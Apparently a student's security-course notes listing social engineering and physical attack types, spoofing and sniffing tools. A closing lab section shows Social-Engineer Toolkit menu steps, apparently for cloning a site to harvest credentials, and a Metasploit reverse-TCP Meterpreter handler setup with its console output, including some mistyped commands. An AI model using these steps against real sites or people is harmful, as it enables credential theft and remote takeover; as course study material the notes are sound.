03.10.2024

Here's an edited version of the list with concise descriptions:

Popular Social Engineering Attacks:

1. Impersonation: Pretending to be someone else to gain trust or access.

2. Phishing: Sending fraudulent messages to trick individuals into providing sensitive information.

3. Whaling/Vishing: Targeting high-profile individuals via email (whaling) or phone calls (vishing).

4. Smishing: Phishing through SMS messages.

5. Spim: Spam sent over instant messaging platforms.

6. Spear Phishing: Personalized phishing attacks aimed at specific individuals or organizations.

7. Spam: Unsolicited and irrelevant messages, typically sent in bulk.

8. Eliciting Information: Subtly extracting sensitive details for future attacks.

9. Prepending: Adding malicious content at the beginning of a message or URL (e.g., fake email addresses).

10. Identity Fraud: Using stolen personal information to impersonate someone.

11. Invoice Scams: Fraudulent invoices sent to trick companies into making payments.

12. Credential Harvesting: Stealing login information through various tactics.

13. Reconnaissance: Gathering information on a target before launching an attack.

14. Influence Campaigns/Hybrid Warfare: Using misinformation and social tactics to sway public opinion.

Physical Attacks:

1. Shoulder Surfing: Watching someone enter sensitive information.

2. Dumpster Diving: Searching through trash for useful data.

3. Tailgating: Following someone into a restricted area without authorization.

4. Hoaxes: False information spread to cause harm or confusion.

5. Malicious USB Cable/Flash Drive: Devices loaded with malware to exploit a system when plugged in.

6. Card Cloning: Copying data from a card's magnetic strip.

7. Skimming: Stealing card details during a legitimate transaction.

Adversarial Artificial Intelligence:

Using AI to exploit vulnerabilities in systems.

Supply-Chain Attack:

Compromising a third-party provider to infiltrate a target organization.

Reasons for Effectiveness of Social Engineering Attacks:

1. Authority: Trusting figures of authority.

2. Intimidation: Using fear to force compliance.

3. Consensus/Social Proof: Influencing people by showing others’ behavior.

4. Scarcity: Creating a sense of urgency by implying limited availability.

5. Urgency: Pushing for immediate action.

6. Familiarity/Liking: Leveraging personal connections or likability.

7. Trust: Exploiting established trust.

Spoofing:

Altering source information to mislead recipients.

1. Nemesis: A tool for creating and analyzing spoofed packets.

2. Hping2: A packet crafting tool for security testing.

3. Macchanger: A tool to change MAC addresses for anonymity.

Packet Sniffing Software:

1. Wireshark: A network protocol analyzer used for monitoring traffic.

2. Tcpdump: A command-line packet analyzer.

3. Airodump-ng: A tool for capturing wireless network packets.

LAB

sudo su

$ setoolkit (it will be installed)

$ ifconfig (diff terminal)

$ set 1 -> 2 -> 3 -> 2

sudo su

msfconsole

use exploit.multi/handler

use payload php/meterpreter/reverse\_tcp

<<https://iitju.org/> >

msf6 exploit(multi/handler) > use LHOST 192.168.10.196

[-] No results from search

[-] Failed to load module: LHOST

msf6 exploit(multi/handler) > use LHOST 192.168.10.196

[-] No results from search

[-] Failed to load module: LHOST

msf6 exploit(multi/handler) > set LHOST 192.168.10.196

LHOST => 192.168.10.196

msf6 exploit(multi/handler) > set LHOST 192.168.10.196

LHOST => 192.168.10.196

msf6 exploit(multi/handler) > set LPORT 444

LPORT => 444

msf6 exploit(multi/handler) > exploit

[\*] Started reverse TCP handler on 192.168.10.196:444

^C[-] Exploit failed [user-interrupt]: Interrupt

[-] exploit: Interrupted

msf6 exploit(multi/handler) >

